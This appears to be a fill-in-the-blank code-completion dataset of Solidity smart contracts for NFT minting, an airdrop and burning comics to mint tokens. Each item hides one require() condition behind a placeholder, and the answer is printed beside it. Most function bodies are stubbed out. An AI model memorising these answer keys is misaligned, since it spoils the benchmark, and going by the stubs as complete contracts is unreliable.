address newTrollHome,
string memory ambassadorCode
) public payable nonReentrant whenNotPaused {
}
function airdropBaseNFT(uint256 trollsRequested, address newTrollHome)
public
nonReentrant
onlyOwner
whenNotPaused
{
}
function setBaseURI(string memory customBaseURI) public onlyOwner {
}
function setTrollPricesEth(
uint256 newPremiumPriceEth,
uint256 newBasePriceEth
) public onlyOwner {
}
function setTrollDiscounts(
uint256 newWhiteListDiscountEth,
uint256 newAmbassadorDiscountEth
) public onlyOwner {
}
function toggleIsSaleActive() public onlyOwner returns (bool) {
}
function toggleIsWhitelistSaleActive() public onlyOwner returns (bool) {
}
function toggleIsAmbassadorCodeSaleActive()
public
onlyOwner
returns (bool)
{
}
function toggleIsAllowListSaleActive() public onlyOwner returns (bool) {
}
function togglePause() public onlyOwner returns (bool) {
}
function withdraw() public onlyOwner {
}
function setWhitelistAddresses(address[] memory newAddresses)
public
onlyOwner
{
}
function removeWhitelistAddresses(address[] memory removeAddresses)
public
onlyOwner
{
}
function setAllowListAddresses(address[] memory newAddresses)
public
onlyOwner
{
}
function removeAllowListAddresses(address[] memory removeAddresses)
public
onlyOwner
{
}
function setAmbassadorGiftCodes(string[] memory ambassadorCodes)
public
onlyOwner
{
}
function removeAmbassadorGiftCodes(string[] memory ambassadorCodes)
public
onlyOwner
{
}
function setAmbassadorDiscountCodes(string[] memory ambassadorCodes)
public
onlyOwner
{
}
function removeAmbassadorDiscountCodes(string[] memory ambassadorCodes)
public
onlyOwner
{
}
function getIsSaleActive() public view returns (bool) {
}
function getIsWhitelistSaleActive() public view returns (bool) {
}
function getIsAmbassadorCodeSaleActive() public view returns (bool) {
}
function getIsAllowListSaleActive() public view returns (bool) {
}
function getTokenCounter() public view returns (uint256) {
}
function getPremiumTokenCounter() public view returns (uint256) {
}
function getBaseTokenCounter() public view returns (uint256) {
}
function getPremiumMintPrice(
uint256 trollsRequested,
address newTrollHome,
string memory promoCode
) public view returns (uint256) {
}
function getBaseMintPrice(
uint256 trollsRequested,
address newTrollHome,
string memory promoCode
) public view returns (uint256) {
}
function isAmbassadorCodeValid(string memory ambassadorCode)
public
view
returns (bool)
{
}
function isAmbassadorCodeDiscount(string memory ambassadorCode)
public
view
returns (bool)
{
}
function isAddressWhiteListed(address toCheck) public view returns (bool) {
}
function isAddressAllowListed(address toCheck) public view returns (bool) {
}
function isAddressTokenOwner(address potentialOwner, uint256 tokenId)
public
view
returns (bool)
{
}
function getMaxSupply() public view returns (uint256) {
}
function getRemainingBaseSupply() public view returns (uint256) {
}
function getRemainingPremiumSupply() public view returns (uint256) {
}
function _baseURI() internal view override returns (string memory) {
}
function getAmbassadorCodeLogs()
public
view
onlyOwner
returns (ambassadorCodeLog[] memory)
{
}
}
| ambassadorCodeToIsCodeValid[ambassadorCode]||addressToIsAllowList[newTrollHome],"Invalid Ambassador Code or Address is not on allow list" | 205,555 | ambassadorCodeToIsCodeValid[ambassadorCode]||addressToIsAllowList[newTrollHome] |
"Exceeds max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
error GolfTrollPremier_TransferFailed();
contract GolfTrollPremier is ERC721, ReentrancyGuard, Pausable, Ownable {
using Counters for Counters.Counter;
using SafeMath for uint256;
uint256 private _premiumMintPriceEth;
uint256 private _baseMintPriceEth;
uint256 private _whiteListDiscountEth;
uint256 private _ambassadorAllowListDiscountEth;
uint256 private immutable i_premiumMaxSupply;
uint256 private immutable i_baseMaxSupply;
string private baseURI;
bool private isSaleActive = false;
bool private isWhitelistSaleActive = false;
bool private isAmbassadorCodeActive = false;
bool private isAllowListSaleActive = false;
Counters.Counter s_baseTokenCounter;
Counters.Counter s_premiumTokenCounter;
mapping(string => bool) private ambassadorCodeToIsCodeValid;
mapping(string => bool) private ambassadorCodeToIsDiscount;
mapping(address => bool) private addressToIsWhitelist;
mapping(address => bool) private addressToIsAllowList;
//struct code use and array only store when valid code is used Address, code, TrollType, TrollCount
struct ambassadorCodeLog {
address newTrollHome;
string ambassadorCode;
bool isPremier;
uint256 trollCount;
}
ambassadorCodeLog[] private ambassadorCodeLogs;
//"Golf Troll 777", "GT777"
constructor(
string memory tokenName,
string memory tokenSymbol,
string memory customBaseURI,
uint256 premiumMintPriceEth,
uint256 baseMintPriceEth,
uint256 whiteListDiscountEth,
uint256 ambassadorAllowListDiscountEth,
uint256 premiumMaxSupply,
uint256 baseMaxSupply
) ERC721(tokenName, tokenSymbol) {
}
//need only owner version
//0 through 221
function mintPremiumNFT(
uint256 trollsRequested,
address newTrollHome,
string memory ambassadorCode
) public payable nonReentrant whenNotPaused {
require(isSaleActive, "Troll Sales Closed");
if (isWhitelistSaleActive) {
require(
addressToIsWhitelist[newTrollHome],
"Address is not on whitelist"
);
}
if (isAmbassadorCodeActive || isAllowListSaleActive) {
require(
ambassadorCodeToIsCodeValid[ambassadorCode] ||
addressToIsAllowList[newTrollHome],
"Invalid Ambassador Code or Address is not on allow list"
);
}
require(<FILL_ME>)
require(
msg.value >=
getPremiumMintPrice(
trollsRequested,
newTrollHome,
ambassadorCode
),
"Insufficient payment"
);
for (uint256 i = 0; i < trollsRequested; i++) {
_safeMint(newTrollHome, s_premiumTokenCounter.current());
s_premiumTokenCounter.increment();
}
if (ambassadorCodeToIsCodeValid[ambassadorCode]) {
ambassadorCodeLogs.push(
ambassadorCodeLog(
newTrollHome,
ambassadorCode,
true,
trollsRequested
)
);
}
}
function airdropPremiumNFT(uint256 trollsRequested, address newTrollHome)
public
nonReentrant
onlyOwner
whenNotPaused
{
}
//222-776
function mintBaseNFT(
uint256 trollsRequested,
address newTrollHome,
string memory ambassadorCode
) public payable nonReentrant whenNotPaused {
}
function airdropBaseNFT(uint256 trollsRequested, address newTrollHome)
public
nonReentrant
onlyOwner
whenNotPaused
{
}
function setBaseURI(string memory customBaseURI) public onlyOwner {
}
function setTrollPricesEth(
uint256 newPremiumPriceEth,
uint256 newBasePriceEth
) public onlyOwner {
}
function setTrollDiscounts(
uint256 newWhiteListDiscountEth,
uint256 newAmbassadorDiscountEth
) public onlyOwner {
}
function toggleIsSaleActive() public onlyOwner returns (bool) {
}
function toggleIsWhitelistSaleActive() public onlyOwner returns (bool) {
}
function toggleIsAmbassadorCodeSaleActive()
public
onlyOwner
returns (bool)
{
}
function toggleIsAllowListSaleActive() public onlyOwner returns (bool) {
}
function togglePause() public onlyOwner returns (bool) {
}
function withdraw() public onlyOwner {
}
function setWhitelistAddresses(address[] memory newAddresses)
public
onlyOwner
{
}
function removeWhitelistAddresses(address[] memory removeAddresses)
public
onlyOwner
{
}
function setAllowListAddresses(address[] memory newAddresses)
public
onlyOwner
{
}
function removeAllowListAddresses(address[] memory removeAddresses)
public
onlyOwner
{
}
function setAmbassadorGiftCodes(string[] memory ambassadorCodes)
public
onlyOwner
{
}
function removeAmbassadorGiftCodes(string[] memory ambassadorCodes)
public
onlyOwner
{
}
function setAmbassadorDiscountCodes(string[] memory ambassadorCodes)
public
onlyOwner
{
}
function removeAmbassadorDiscountCodes(string[] memory ambassadorCodes)
public
onlyOwner
{
}
function getIsSaleActive() public view returns (bool) {
}
function getIsWhitelistSaleActive() public view returns (bool) {
}
function getIsAmbassadorCodeSaleActive() public view returns (bool) {
}
function getIsAllowListSaleActive() public view returns (bool) {
}
function getTokenCounter() public view returns (uint256) {
}
function getPremiumTokenCounter() public view returns (uint256) {
}
function getBaseTokenCounter() public view returns (uint256) {
}
function getPremiumMintPrice(
uint256 trollsRequested,
address newTrollHome,
string memory promoCode
) public view returns (uint256) {
}
function getBaseMintPrice(
uint256 trollsRequested,
address newTrollHome,
string memory promoCode
) public view returns (uint256) {
}
function isAmbassadorCodeValid(string memory ambassadorCode)
public
view
returns (bool)
{
}
function isAmbassadorCodeDiscount(string memory ambassadorCode)
public
view
returns (bool)
{
}
function isAddressWhiteListed(address toCheck) public view returns (bool) {
}
function isAddressAllowListed(address toCheck) public view returns (bool) {
}
function isAddressTokenOwner(address potentialOwner, uint256 tokenId)
public
view
returns (bool)
{
}
function getMaxSupply() public view returns (uint256) {
}
function getRemainingBaseSupply() public view returns (uint256) {
}
function getRemainingPremiumSupply() public view returns (uint256) {
}
function _baseURI() internal view override returns (string memory) {
}
function getAmbassadorCodeLogs()
public
view
onlyOwner
returns (ambassadorCodeLog[] memory)
{
}
}
| s_premiumTokenCounter.current().add(trollsRequested)<i_premiumMaxSupply,"Exceeds max supply" | 205,555 | s_premiumTokenCounter.current().add(trollsRequested)<i_premiumMaxSupply |
"Exceeds max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
error GolfTrollPremier_TransferFailed();
contract GolfTrollPremier is ERC721, ReentrancyGuard, Pausable, Ownable {
using Counters for Counters.Counter;
using SafeMath for uint256;
uint256 private _premiumMintPriceEth;
uint256 private _baseMintPriceEth;
uint256 private _whiteListDiscountEth;
uint256 private _ambassadorAllowListDiscountEth;
uint256 private immutable i_premiumMaxSupply;
uint256 private immutable i_baseMaxSupply;
string private baseURI;
bool private isSaleActive = false;
bool private isWhitelistSaleActive = false;
bool private isAmbassadorCodeActive = false;
bool private isAllowListSaleActive = false;
Counters.Counter s_baseTokenCounter;
Counters.Counter s_premiumTokenCounter;
mapping(string => bool) private ambassadorCodeToIsCodeValid;
mapping(string => bool) private ambassadorCodeToIsDiscount;
mapping(address => bool) private addressToIsWhitelist;
mapping(address => bool) private addressToIsAllowList;
//struct code use and array only store when valid code is used Address, code, TrollType, TrollCount
struct ambassadorCodeLog {
address newTrollHome;
string ambassadorCode;
bool isPremier;
uint256 trollCount;
}
ambassadorCodeLog[] private ambassadorCodeLogs;
//"Golf Troll 777", "GT777"
constructor(
string memory tokenName,
string memory tokenSymbol,
string memory customBaseURI,
uint256 premiumMintPriceEth,
uint256 baseMintPriceEth,
uint256 whiteListDiscountEth,
uint256 ambassadorAllowListDiscountEth,
uint256 premiumMaxSupply,
uint256 baseMaxSupply
) ERC721(tokenName, tokenSymbol) {
}
//need only owner version
//0 through 221
function mintPremiumNFT(
uint256 trollsRequested,
address newTrollHome,
string memory ambassadorCode
) public payable nonReentrant whenNotPaused {
}
function airdropPremiumNFT(uint256 trollsRequested, address newTrollHome)
public
nonReentrant
onlyOwner
whenNotPaused
{
}
//222-776
function mintBaseNFT(
uint256 trollsRequested,
address newTrollHome,
string memory ambassadorCode
) public payable nonReentrant whenNotPaused {
require(isSaleActive, "Troll Sales Closed");
if (isWhitelistSaleActive) {
require(
addressToIsWhitelist[newTrollHome],
"Address is not on whitelist"
);
}
if (isAmbassadorCodeActive || isAllowListSaleActive) {
require(
ambassadorCodeToIsCodeValid[ambassadorCode] ||
addressToIsAllowList[newTrollHome],
"Invalid Ambassador Code or Address is not on allow list"
);
}
require(<FILL_ME>)
require(
msg.value >=
getBaseMintPrice(trollsRequested, newTrollHome, ambassadorCode),
"Insufficient payment"
);
for (uint256 i = 0; i < trollsRequested; i++) {
_safeMint(
newTrollHome,
s_baseTokenCounter.current().add(i_premiumMaxSupply)
);
s_baseTokenCounter.increment();
}
if (ambassadorCodeToIsCodeValid[ambassadorCode]) {
ambassadorCodeLogs.push(
ambassadorCodeLog(
newTrollHome,
ambassadorCode,
false,
trollsRequested
)
);
}
}
function airdropBaseNFT(uint256 trollsRequested, address newTrollHome)
public
nonReentrant
onlyOwner
whenNotPaused
{
}
function setBaseURI(string memory customBaseURI) public onlyOwner {
}
function setTrollPricesEth(
uint256 newPremiumPriceEth,
uint256 newBasePriceEth
) public onlyOwner {
}
function setTrollDiscounts(
uint256 newWhiteListDiscountEth,
uint256 newAmbassadorDiscountEth
) public onlyOwner {
}
function toggleIsSaleActive() public onlyOwner returns (bool) {
}
function toggleIsWhitelistSaleActive() public onlyOwner returns (bool) {
}
function toggleIsAmbassadorCodeSaleActive()
public
onlyOwner
returns (bool)
{
}
function toggleIsAllowListSaleActive() public onlyOwner returns (bool) {
}
function togglePause() public onlyOwner returns (bool) {
}
function withdraw() public onlyOwner {
}
function setWhitelistAddresses(address[] memory newAddresses)
public
onlyOwner
{
}
function removeWhitelistAddresses(address[] memory removeAddresses)
public
onlyOwner
{
}
function setAllowListAddresses(address[] memory newAddresses)
public
onlyOwner
{
}
function removeAllowListAddresses(address[] memory removeAddresses)
public
onlyOwner
{
}
function setAmbassadorGiftCodes(string[] memory ambassadorCodes)
public
onlyOwner
{
}
function removeAmbassadorGiftCodes(string[] memory ambassadorCodes)
public
onlyOwner
{
}
function setAmbassadorDiscountCodes(string[] memory ambassadorCodes)
public
onlyOwner
{
}
function removeAmbassadorDiscountCodes(string[] memory ambassadorCodes)
public
onlyOwner
{
}
function getIsSaleActive() public view returns (bool) {
}
function getIsWhitelistSaleActive() public view returns (bool) {
}
function getIsAmbassadorCodeSaleActive() public view returns (bool) {
}
function getIsAllowListSaleActive() public view returns (bool) {
}
function getTokenCounter() public view returns (uint256) {
}
function getPremiumTokenCounter() public view returns (uint256) {
}
function getBaseTokenCounter() public view returns (uint256) {
}
function getPremiumMintPrice(
uint256 trollsRequested,
address newTrollHome,
string memory promoCode
) public view returns (uint256) {
}
function getBaseMintPrice(
uint256 trollsRequested,
address newTrollHome,
string memory promoCode
) public view returns (uint256) {
}
function isAmbassadorCodeValid(string memory ambassadorCode)
public
view
returns (bool)
{
}
function isAmbassadorCodeDiscount(string memory ambassadorCode)
public
view
returns (bool)
{
}
function isAddressWhiteListed(address toCheck) public view returns (bool) {
}
function isAddressAllowListed(address toCheck) public view returns (bool) {
}
function isAddressTokenOwner(address potentialOwner, uint256 tokenId)
public
view
returns (bool)
{
}
function getMaxSupply() public view returns (uint256) {
}
function getRemainingBaseSupply() public view returns (uint256) {
}
function getRemainingPremiumSupply() public view returns (uint256) {
}
function _baseURI() internal view override returns (string memory) {
}
function getAmbassadorCodeLogs()
public
view
onlyOwner
returns (ambassadorCodeLog[] memory)
{
}
}
| s_baseTokenCounter.current().add(trollsRequested)<i_baseMaxSupply,"Exceeds max supply" | 205,555 | s_baseTokenCounter.current().add(trollsRequested)<i_baseMaxSupply |
"max NFT per address exceeded" | /*
██████╗██████╗ ██╗ ██╗██████╗ ████████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ████████╗███████╗ ██████╗██╗████████╗██╗ ██╗
██╔════╝██╔══██╗╚██╗ ██╔╝██╔══██╗╚══██╔══╝██╔═══██╗ ██╔══██╗██╔═══██╗██╔══██╗██╔═══██╗╚══██╔══╝██╔════╝ ██╔════╝██║╚══██╔══╝╚██╗ ██╔╝
██║ ██████╔╝ ╚████╔╝ ██████╔╝ ██║ ██║ ██║ ██████╔╝██║ ██║██████╔╝██║ ██║ ██║ ███████╗ ██║ ██║ ██║ ╚████╔╝
██║ ██╔══██╗ ╚██╔╝ ██╔═══╝ ██║ ██║ ██║ ██╔══██╗██║ ██║██╔══██╗██║ ██║ ██║ ╚════██║ ██║ ██║ ██║ ╚██╔╝
╚██████╗██║ ██║ ██║ ██║ ██║ ╚██████╔╝ ██║ ██║╚██████╔╝██████╔╝╚██████╔╝ ██║ ███████║ ╚██████╗██║ ██║ ██║
╚═════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝ ╚═╝
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import 'operator-filter-registry/src/DefaultOperatorFilterer.sol';
contract CryptoRobotsCity is ERC721A, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.02 ether;
uint256 public maxSupply = 1565;
uint256 public maxMintAmount = 12;
mapping(address => uint256) public addressMintedBalance;
uint256 public currentState = 0;
constructor() ERC721A("Crypto Robots City", "CRC") {}
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
if (msg.sender != owner()) {
require(currentState > 0, "the contract is paused");
if (currentState == 1) {
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(_mintAmount <= maxMintAmount,"max mint amount per session exceeded");
require(<FILL_ME>)
require(msg.value >= cost * _mintAmount, "insufficient funds");
}
}
_safeMint(msg.sender, _mintAmount);
if (currentState == 1) {
addressMintedBalance[msg.sender] += _mintAmount;
}
}
function Airdrop(uint256 _mintAmount, address _receiver) public onlyOwner {
}
function mintableAmountForUser(address _user) public view returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function setCost(uint256 _price) public onlyOwner {
}
function pause() public onlyOwner {
}
function openMint() public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
/////////////////////////////
// OPENSEA FILTER REGISTRY
/////////////////////////////
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| ownerMintedCount+_mintAmount<=maxMintAmount,"max NFT per address exceeded" | 205,658 | ownerMintedCount+_mintAmount<=maxMintAmount |
"TokenInstance should be a contract" | pragma solidity ^0.8.9;
contract AirDropRc31 is Ownable{
ERC20 private Token;
using Address for address;
constructor(){}
function doAirDrop(
address[] memory _address,
uint256[] memory amounts,
address tokenInstance
) public returns(bool) {
require(_address.length == amounts.length, "addresses & amounts length should be same");
require(<FILL_ME>)
uint256 count = _address.length;
Token = ERC20(tokenInstance);
for (uint256 i = 0; i < count; i++)
{
Token.transferFrom(msg.sender,_address[i],amounts[i]);
}
return true;
}
}
| tokenInstance.isContract(),"TokenInstance should be a contract" | 205,690 | tokenInstance.isContract() |
"Exceeds maximum supply" | pragma solidity ^0.8.9;
contract PlebzDeployer is ERC721, ERC721Enumerable, ERC721URIStorage, Ownable {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 8888;
constructor() ERC721("Plebz", "PLEBZ") {}
function _baseURI() internal pure override returns (string memory) {
}
function mint(uint256 num) public payable {
uint256 currentSupply = totalSupply();
require(<FILL_ME>)
require(num <= 10, "You can mint a maximum of 10 at once");
require(msg.value >= 0.02 ether * num, "Not enough ETH sent, check price");
for(uint256 i; i < num; i++) {
_safeMint(msg.sender, currentSupply + i + 1);
}
}
function withdraw() public onlyOwner {
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
override(ERC721, ERC721Enumerable)
{
}
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage)
{
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, ERC721URIStorage)
returns (bool)
{
}
}
| currentSupply+num<=MAX_SUPPLY,"Exceeds maximum supply" | 205,944 | currentSupply+num<=MAX_SUPPLY |
"CE: Wrong signature" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.21;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IERC721.sol";
/**
* @dev Minter of CE Token
*
* Huxley Token Id details:
* - token id until 10110, Issue 1.
* - token id from 10111 until 20220, Issue 2
* - token id from 20221 until 30330, Issue 3
* - token id from 30331 until 38775, Issue 4
* - token id from 40441 until 49414, Issue 5+6 - If tokenId is even, it is Issue 6. If it is an odd tokenId, it is Issue 5
*
*/
contract CETokenMinter is Pausable, Ownable {
using SignatureChecker for address;
/// @notice Interface to burn HuxleyComics Issues 1, 2 or 3
IERC721 public immutable huxleyComics;
/// @notice Interface to burn HuxleyComics Issue 4
IBurnable public immutable huxleyComics4;
/// @notice Interface to burn HuxleyComics Issue 5/6
IBurnable public immutable huxleyComics56;
/// @notice Interface to mint CE Token
IERC721 public ceToken;
/// @notice token id until 10110, Issue 1.
uint256 immutable lastTokenIssue1 = 10110;
/// @notice token id from 10111 until 20220, Issue 2
uint256 immutable lastTokenIssue2 = 20220;
/// @notice token id from 20221 until 30330, Issue 3
uint256 immutable lastTokenIssue3 = 30330;
/// @notice Address of the wallet that signs claim type (free or paid)
address public signer;
/**
* Sets Huxley Comics addresses, CE address and pause the minting
* @param _huxley123 Huxley Comics address for Issue 1, 2 and 3
* @param _huxley4 Huxley Comics address for Issue 4
* @param _huxley56 Huxley Comics address for Issue 5/6
* @param _ceToken Huxley Collection Edittion address
*/
constructor(
address _huxley123,
address _huxley4,
address _huxley56,
address _ceToken
) {
}
/**
* Burn 1 or more complete collection. A wallet has a complete collection when it
* has at least one token from each Issue (1 until 6).
*
* It will burn Huxley Comics token and mint 1 Collection Edition (CE) and 1 Access Pass (AP)
*
* It needs a signature that will confirm the amount of Free Claim CE. i.e.: Wallet is burning
* 3 collections. And it will have 2 Free Claim and 1 Paid Claim CE. So, <b>_freeClaimAmount</b>
* will be equal to 2. And the contract logic will set 2 CE tokens as Free claim and 1 CE Token as Paid Claim.
*
* _tokenIds123: If wallet is burning more than one collection, it should follow a specific order.
* For example, if it is burning 2 collection, it should be:
* [tokenId_Issue1b, tokenId_Issue2b, tokeId_Issue3b, tokenId_Issue1a, tokenId_Issue2a, tokeId_Issue3a ]
* [tokenId_Issue4b, tokenId_Issue4a ]
* [tokenId_Issue5a, tokenId_Issue6a, tokenId_Issue5b, tokenId_Issue6b]
*
* So it would burn 1st:
* [tokenId_Issue1a, tokenId_Issue2a, tokeId_Issue3a, tokenId_Issue4a, tokenId_Issue5a, tokenId_Issue6a]
*
* 2nd burn:
* [tokenId_Issue1b, tokenId_Issue2b, tokeId_Issue3b, tokenId_Issue4b, tokenId_Issue5b, tokenId_Issue6b]
*
* It uses tokenId numbers to know if it is from Issue1, Issue2 or Issue 3.
*
* It also checks Issue4, Issue 5 and Issue 6 ownership before burning.
*
* @param _tokenIds123 Token ids from Issue 1, 2 and 3. The order of the tokens matter
* @param _tokenIds4 Token ids from Issue 4. The order of the tokens matter
* @param _tokenIds56 Token ids from Issue 5/6. The order of the token ids matter.
* @param _freeClaimAmount Amount of free claim
* @param _signature Signature created by signer to confirm amount of free claim
*/
function burnCollections(
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56,
uint256 _freeClaimAmount,
bytes calldata _signature
) external whenNotPaused {
require(<FILL_ME>)
// _tokenIds123.length wasn't added in a local variable because
// it was getting stack too deep error
// they all should have the same amount of a complete collection.
require(
_tokenIds123.length / 3 == _tokenIds4.length,
"CEM: Wrong size 4"
);
require(
_tokenIds56.length / 2 == _tokenIds4.length,
"CEM: Wrong size 56"
);
// Loop does the actions below:
// - Burns 123,
// - checks Issue 4 ownership
// - checks 5 and 6 ownership and if it is from 5 and 6
// - save in memory token ids that will be used in a an event after minting CE token
// - emits event of collection burned
uint256 i; // it controls _tokenIds123 index
uint256 j; // it controls _tokenIds4 index
uint256 z; // it controls _tokenIds56 index (it is in pair)
uint256[][] memory tokenIdsBurned = new uint256[][](_tokenIds4.length);
while (i < _tokenIds123.length) {
_burnTokens123(
_tokenIds123[i],
_tokenIds123[i + 1],
_tokenIds123[i + 2]
);
_checkOwner4Token(_tokenIds4[j]);
// check 56 ownership and if it is 5 and 6 (it checks if they are even/odd)
_checkOwner56Tokens(_tokenIds56[z], _tokenIds56[z + 1]);
uint256[] memory burnedIds = new uint256[](6);
burnedIds[0] = _tokenIds123[i];
burnedIds[1] = _tokenIds123[i + 1];
burnedIds[2] = _tokenIds123[i + 2];
burnedIds[3] = _tokenIds4[j];
burnedIds[4] = _tokenIds56[z];
burnedIds[5] = _tokenIds56[z + 1];
// it uses j index because it is equal to the amount of CE that will be minted
tokenIdsBurned[j] = burnedIds;
unchecked {
i = i + 3; // issue 123
++j; // issue 4
z = z + 2; // issue 56
}
}
// while loop has already checked tokenids ownership for Issue 4 and Issue 5 and 6
_burn4(_tokenIds4);
_burn56(_tokenIds56);
// mint a certain amount of CE token and the same amount of AP
_mintCE(_tokenIds4.length, _freeClaimAmount, tokenIdsBurned);
}
/**
* Burns 1 collection set. It is in a different function to save gas since it doesn't loop.
*
* Check burnCollections() comments to see how to setup _tokenIds123, _tokenIds4 and _tokenIds56
* arrays
*
* @param _tokenIds123 Token ids from Issue 1, 2 and 3. The order of the tokens matter
* @param _tokenIds4 Token ids from Issue 4. The order of the tokens matter
* @param _tokenIds56 Token ids from Issue 5/6. The order of the token ids matter.
* @param _freeClaimAmount Amount of free claim
* @param _signature Signature created by signer to confirm amount of free claim
*/
function burn1Set(
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56,
uint256 _freeClaimAmount,
bytes calldata _signature
) external whenNotPaused {
}
/**
* Burn Tokens from Issue 1, 2 and 3. First it transfer to Minter contract and then burn it.
* If wallet is not the owner, it will fail and revert.
* It checks tokenId range to make sure it is from the correct Issue (1, 2 or 3)
* @param _tokenId1 TokenId from Issue 1
* @param _tokenId2 TokenId from Issue 2
* @param _tokenId3 TokenId from Issue 3
*/
function _burnTokens123(
uint256 _tokenId1,
uint256 _tokenId2,
uint256 _tokenId3
) internal {
}
/**
* Check Issue 4 ownership
* @param _tokenId4 Token id from Issue 4.
*/
function _checkOwner4Token(uint256 _tokenId4) internal view {
}
/**
* Before burning Issues 56, it needs to check Ownership. It also checks if is from Issue 5 or from Issue 6
* by verifying if it is even (6) or odd (5)
* @param _tokenId5 Token Id from Issue 5
* @param _tokenId6 Token Id from Issue 6
*/
function _checkOwner56Tokens(
uint256 _tokenId5,
uint256 _tokenId6
) internal view {
}
/**
* It isn't necessary to check if it is token id from Issue 4 because if it doesn't exist,
* it fails.
* @param _tokenIds4 Token id list from Issue 4.
*/
function _burn4(uint256[] calldata _tokenIds4) internal {
}
/**
* It isn't necessary to check if it is from Issue 5 or 6 because if it isn't
* it fails when trying to burn or checking ownership. But it is necessary
* to check if one is Issue 5 and another one is from Issue 6.
* @param _tokenId56 Token if from Issue 5 and 6.
*/
function _burn56(uint256[] calldata _tokenId56) internal {
}
/**
* Calls CE contract and mint CE Token
* @param _amountToMint Amount of CE Tokens that will be minted
* @param _freeClaimAmount Amount of tokens that are free claim
* @param _tokenIdsBurned Array that has token ids burned. It will be used in an event.
*/
function _mintCE(
uint256 _amountToMint,
uint256 _freeClaimAmount,
uint256[][] memory _tokenIdsBurned
) internal {
}
/**
* If the same tokenId is used to burn another set, it will fail because it was already burned and signature won't
* be able to be reused.
*
* Signature is the hash of tokensIds from Issue 1, 2, 3, 4, 5 and 6 + the freeClaimAmount value + the address of the token
* ids owner.
*
* @param _signature Signature to be verified
* @param _freeClaimAmount Amount of free claims
* @param _tokenIds123 List of token ids from Issue 1, 2 and 3
* @param _tokenIds4 List of token ids from Issue 4
* @param _tokenIds56 List of token ids from Issue 5 and 6
*/
function hasValidSignature(
bytes calldata _signature,
uint256 _freeClaimAmount,
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56
) internal view returns (bool) {
}
/**
* Set CE Token contract. OnlyOwner can call it
* @param _addr CE ERC721A Token address
*/
function setCEToken(address _addr) external onlyOwner {
}
/**
* Set Signer
* @param _signer Signer address
*/
function setSigner(address _signer) external onlyOwner {
}
/// @dev check if a number is even - it is used to check if token id is from Issue 5 or Issue 6
function isEven(uint256 _num) internal pure returns (bool) {
}
/// @dev Pause burn functions
function pause() external onlyOwner {
}
/// @dev Unpause burn functions
function unpause() external onlyOwner {
}
}
| hasValidSignature(_signature,_freeClaimAmount,_tokenIds123,_tokenIds4,_tokenIds56),"CE: Wrong signature" | 206,000 | hasValidSignature(_signature,_freeClaimAmount,_tokenIds123,_tokenIds4,_tokenIds56) |
"CEM: Wrong size 4" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.21;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IERC721.sol";
/**
* @dev Minter of CE Token
*
